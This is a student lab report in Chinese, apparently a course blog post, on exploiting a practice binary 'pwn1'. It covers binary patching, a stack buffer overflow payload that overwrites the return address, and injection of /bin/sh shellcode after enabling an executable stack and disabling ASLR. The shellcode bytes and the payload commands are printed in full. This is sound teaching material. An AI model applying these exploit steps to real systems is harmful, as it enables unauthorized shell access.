Exp1 PC平台逆向破
1 实验要求
1.1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.2 实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2 实验步骤
2.1 直接修改程序机器指令,改变程序执行流程
- 由于在安装注册kali时注册名为0 本实验以下均为0@kali
-
先从码云上把需求的文件pwn1下载下来,我存放在exp文件夹中
-
首先输入命令objdump -d pwn1 | more汇编一下pwn1文件,输入/getShell 直接找到getShell函数以及后面的foo和main函数
-
我们可以看到在main函数中,进行的其实就是foo函数的调用。
主函数中的call 8048491 <foo>语句所对应的机器指令是e8 d7 ff ff ff,其中e8代表call,那么后面的d7 ff ff ff就是对应的foo地址8048491。
现在我们要使call的不是foo,而是getShell,那么应将8048491改为804847d。
通过学习,已知d7 ff ff ff 是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491。
那么要修改8048491,只要修改d7 ff ff ff为804847d-80484ba对应的补码就行。
- 为避免产生不可逆转的错误,且不影响原文件,又保证之后实验的顺利进行,所以先用cp命令将pwn1拷贝成pwn2,在pwn2上进行操作。
-
打开pwn2文件,输入:%!xxd,将显示模式切换为16进制模式。/e8 d7查找要修改的内容(此处中间一定要加空格!由于空格问题一直卡在这)
进入编辑模式 ,将e8 d7改为e8 c3,再输入:%!xxd -r切换回原格式,并:wq保存并退出。
-
修改完成以后,再次反汇编一下pwn2文件,确认是否修改成功。
可以发现d7已经被改成了c3.
-
最后我们分别运行未被修改的pwn1和已被修改的pwn2进行对比,
发现pwn1中会显示用户所输入的字符串,而pwn2出现了getShell的提示符$。
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
打开pwn1文件,首先进行反汇编objdump -d pwn1 | more,并找到getShell函数以及后面的foo和main函数
我们观察可以发现该可执行文件正常运行是在主函数中call调用foo函数,同时在堆栈上压上返回地址值:80804ba(即call指令的下一条指令地址)
但是这个函数有Buffer overflow漏洞。
在foo函数中读入字符串时,系统只预留了0x1c字节(即28字节)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。
接下来需要确认超过28字节的字符串中到底哪几位决定了eip寄存器的值。
我们用gdb来调试一下,如果正常输入小于等于28字节(即小于等于预留空间)的话,程序会正常运行并退出。
现在输入1111111111111111111111111111234567892345,超出了12个字节,可以发现跳到eip寄存器中的值正是5678(即第33-36字节)
同时还能发现,输入的字节序应该是小端优先,
也就是说,我们要让getShell的地址去替换“5678”的话,由于getShell的起始地址是0804847d,那么我们应该输入的是1111111111111111111111111111234\x7d\x84\x04\x08
但是,由于键盘没法输入\x7d\x84\x04\x08这样的16进制值,所以必须用perl语言先生成包括这样字符串的一个文件,输入以下代码:whh20174320@kali:~/exp$ perl -e 'print "11111111111111111111111111112345\x7d\x84\x04\x08\x0a"' > input
\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
我们使用16进制查看指令xxd查看input文件的内容确实生成了我们想要的\x7d\x84\x04\x08
然后将input的输入,通过管道符“|”,作为pwn1的输入,使用命令:(cat input; cat) | ./pwn1
这一来我们就成功调用了getShell函数。(这里我用ls命令和pwd命令分别查看了一下)
2.3 注入Shellcode并执行 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 设置堆栈可执行 : execstack -s pwn1
- 关闭地址空间随机化: echo "0" > /proc/sys/kernel/randomize_va_space (只能超级用户来进行操作,否则权限不够)
-
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
retaddr在缓冲区的位置是固定的,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
我们这个buf够放这个shellcode了,结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。
返回地址只要落在任何一个nop上,自然会滑到shellcode。
-
但是由于我们不知道shellcode的起始地址,所以我们暂时用\x4\x3\x2\x1来代替(不能要行尾的回车号!运行的时候也不能打回车!教训惨痛)
接下来,首先我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
5.通过设置断点,来查看注入buf的内存地址:
可以观察发现已经看到了0x01020304,说明之前设置的返回地址就在这:0xffffd32c。
那么就意味着shellcode是紧挨着它的,因此我们可以推出来shellcode的地址就是:0xffffd32c+4=0xffffd330。
已经成功找到了shellcode的起始地址,那么就可以把原来文件中的数据进行修改了。
3 实验感想与思考
3.1 实验心得
第一次接触关于此方面的实验,并且第一次在博客园进行注册和使用,在遇到很多困难的同时,也发现了博客园中众多的学习资料。丰富了自己的视野
在组长黄华健的指导下,从kali的安装开始,我克服很多苦难,一步步完成了实验。
网络对抗这门学科,更是一门技术,需要细心谨慎,充满想象,敢想敢做。
3.2 思考
什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。